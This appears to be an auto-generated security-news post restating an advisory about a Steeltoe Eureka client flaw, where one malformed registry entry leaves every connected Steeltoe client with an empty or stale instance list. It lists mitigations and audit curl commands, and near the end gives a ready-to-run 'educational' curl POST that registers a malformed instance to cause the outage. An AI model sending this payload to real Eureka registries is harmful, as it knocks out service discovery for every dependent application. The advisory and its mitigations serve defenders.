Listen to this Post
CVE-2026-50196 is referenced as a prior Steeltoe Eureka deserialization fix.
That CVE addressed only the DataCenterInfo.name field.
The current issue is related but distinct.
Steeltoe’s Eureka discovery client deserializes the registry response as a single unit.
If any registered instance contains a field value that cannot be parsed, deserialization fails.
Examples include an unrecognized actionType.
Examples include a non-boolean value for isCoordinatingDiscoveryServer.
Examples include a non-numeric timestamp.
Examples include other timestamp fields.
When parsing fails, the entire registry response fails.
All Steeltoe Eureka clients connected to that registry then receive an empty instance list.
They may also receive a stale instance list.
The outage persists until the malformed registration is removed.
Any principal that can register or update a service instance can trigger this.
The principal only needs write access to the Eureka registration API.
The impact affects all Steeltoe applications connected to the same registry.
This includes any deployment, including self-hosted Eureka.
Mixed-platform environments are more likely to encounter this condition.
Java or Spring services in the same Eureka registry increase the risk.
Non-.NET clients may send non-standard field values.
The issue is not limited to one field like DataCenterInfo.name.
The client fails as a whole because deserialization is atomic.
There is no partial parsing of valid instances.
A single malformed registration can poison the registry view.
Mitigations include auditing the Eureka registry.
Audit for non-standard field values.
Focus on non-.NET clients.
Restrict write access to the Eureka registration API.
Restrict access to trusted services.
If an immediate upgrade is not possible, these mitigations apply.
The expected patch date is unknown from the .
DailyCVE Form:
Platform: Steeltoe Eureka
Version: EurekaDiscoveryClient all
Vulnerability : Registry deserialization outage
Severity: Unspecified
date: Not provided
Prediction: Patch date unknown
(end of form)
What Undercode Say:
Analytics
Query Eureka registry curl -s http://EUREKA_HOST:8761/eureka/apps | xmllint --format - Look for malformed fields curl -s http://EUREKA_HOST:8761/eureka/apps | grep -E "actionType|status|isCoordinatingDiscoveryServer|timestamp" Inspect a specific app curl -s http://EUREKA_HOST:8761/eureka/apps/APP_NAME | xmllint --format - Check non-.NET registrations curl -s http://EUREKA_HOST:8761/eureka/apps | grep -i "java|spring"
// Steeltoe Eureka client usage
services.AddEurekaDiscoveryClient(options =>
{
options.EurekaServerServiceUrls = "http://EUREKA_HOST:8761/eureka/";
});
Exploit: (Educational Purposes!)
Educational: register malformed instance
curl -X POST http://EUREKA_HOST:8761/eureka/apps/MALFORMED_APP \
-H "Content-Type: application/json" \
-d '{
"instance": {
"instanceId": "malformed-1",
"hostName": "malformed-host",
"app": "MALFORMED_APP",
"ipAddr": "127.0.0.1",
"status": "UP",
"port": {"$": 8080, "@enabled": "true"},
"actionType": "UNRECOGNIZED_ACTION",
"isCoordinatingDiscoveryServer": "not-a-boolean",
"lastUpdatedTimestamp": "not-a-number",
"dataCenterInfo": {
"@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
"name": "MyOwn"
}
}
}'
Protection: from this CVE
Audit Eureka registry
Restrict write access
Restrict trusted services
Upgrade Steeltoe
Remove malformed registrations
Impact:
Service-discovery outage
Empty instance list
Stale instance list
All Steeltoe clients affected
Persists until removed
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
